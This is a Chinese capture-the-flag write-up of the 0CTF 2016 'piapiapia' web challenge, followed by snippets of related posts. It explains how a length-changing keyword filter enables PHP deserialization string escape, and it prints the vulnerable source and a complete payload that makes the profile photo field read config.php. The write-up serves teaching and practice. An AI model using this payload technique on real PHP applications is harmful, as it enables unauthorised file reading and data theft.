我尝试了几种payload,发现有两种情况。

第一种:Invalid user name
第二种:Invalid user name or password
第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。

对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。

先不管,用字典扫一遍扫到源码直接下载下来。

每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password

这一段是class.php的源代码

    public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这是一段updata.php的代码:

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。

还有一段数据:

    $username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。

进行正则表达式的过滤,赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。

查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile); $where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

看到了是用了filter,就是我们最开始注意到的:

    public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

这里使用到了反序列化逃逸,奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。

在phpstudy上验证一下:

<?php
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output:

array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

<?php
//$a = array('qsq', 'mx', 'test');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。

在这道题中我们的序列化字符可控,长度也是固定的。
flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}

这里有个问题,那就是刚开始九个正则表达式长度的限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的:

s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"

我们想要之后的序列化成功,我们也需要进行补齐:

所以我们构造的payload应该是这样的:

";}s:5:“photo”;s:10:“config.php”;}

这里多了两个字符变成了34个字符。

搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:

    public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。

此时我们抓包修改,一切就ok了。

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。

[0CTF 2016]piapiapia(反序列逃逸)的更多相关文章

  1. 刷题记录:[0CTF 2016]piapiapia

    目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...

  2. [0CTF 2016] piapiapia

    一道非常有意思的反序列化漏洞的题目 花费了我不少时间理解和记忆 这里简单记录其中精髓 首先打开是一个登陆页面 dirsearch扫描到了www.zip源码备份 update.php <?php ...

  3. [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}

    先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...

  4. BUUCTF |[0CTF 2016]piapiapia

    步骤: nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ...

  5. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  6. 2016 piapiapia 数组绕过

    0x00.感悟      写完这道题,我感觉到了扫源码的重要性.暑假复现的那些CVE,有的就是任意文件读取,有的是任意命令执行,这些应该都是通过代码审计,得到的漏洞.也就和我们的CTF差不多了.    ...

  7. GYCTF easyphp 【反序列化配合字符逃逸】

    基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...

  8. 从一道ctf看php反序列化漏洞的应用场景

    目录 0x00 first 前几天joomla爆出个反序列化漏洞,原因是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE.刚好今天刷CTF题时遇到了一个类 ...

  9. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

随机推荐

  1. Robot Framework(7)——接口测试

    一.准备工作 1.安装requests工具(2.22.0) 下载地址:https://pypi.org/project/requests/ 安装方式: 1>下载压缩文件,解压,目录切到解压目录, ...

  2. mysql索引类型:FULLTEXT、NORMAL、SPATIAL、UNIQUE的区别

    1. Normal 普通索引 2. Unique 唯一索引 3. Full Text 全文索引 4. SPATIAL 空间索引 5. btree索引和hash索引的区别 6. 在实际操作过程中,应该选 ...

  3. mr原理简单分析

    背景 又是一个周末一天一天的过的好快,今天的任务干啥呢,索引总结一些mr吧,因为前两天有面试问过我?我当时也是简单说了一下,毕竟现在写mr程序的应该很少很少了,废话不说了,结合官网和自己理解写起. 官 ...

  4. 跟我一起学.NetCore之日志(Log)模型核心

    前言 鲁迅都说:没有日志的系统不能上线(鲁迅说:这句我没说过,但是在理)!日志对于一个系统而言,特别重要,不管是用于事务审计,还是用于系统排错,还是用于安全追踪.....都扮演了很重要的角色:之前有很 ...

  5. vue 里bus的使用

    兄弟组件之间进行传值(非父子组件): 安装:npm install vue-bus 在main.js中引入vue-bus import Vue from 'vue'; import VueBus fr ...

  6. 华为手机logcat中不显示log.e以下级别日志的解决方法

    (1) 进入拨号界面输入:*#*#2846579#*#* (2) 进入“后台设置” ——>“LOG设置” (3) 点击选择“AP日志” (4) 部分手机可能需要重启.

  7. Win10 第三方浏览器无法上网或者上网速度慢 的终极解决方案

    请参考: https://blog.csdn.net/shouzei123/article/details/82862478 近期,工程师收到大量反馈360浏览器,极速模式无法打开网页,兼容模式无此问 ...

  8. 跟着尚硅谷系统学习Docker-【day02】

    day02-20200714   p9.docker阿里云配置   helloword   拉取镜像-运行-   拉取镜像如果从国外网站拉取辉比较慢,所以需要配置阿里云或者网易云得镜像仓库.   首先 ...

  9. Mysql慢查询(分析工具)

    慢查询分析工具[mysqldumpslow] 常用的慢查询日志分析工具 汇总除查询条件外其他完全相同的SQL,并将分析结果按照参数中所指定的顺序输出 语法: mysqldumpslow -s r -t ...

  10. Mysql慢查询(配置)

    慢查询?什么鬼?查询很慢吗?刚看一脸萌,学无止境 好吧,就是执行很慢的SQL 什么是慢查询 慢查询定义及作用 慢查询日志,顾名思义,就是查询慢的日志(感觉在说F话),是指Mysql记录所有执行超过lo ...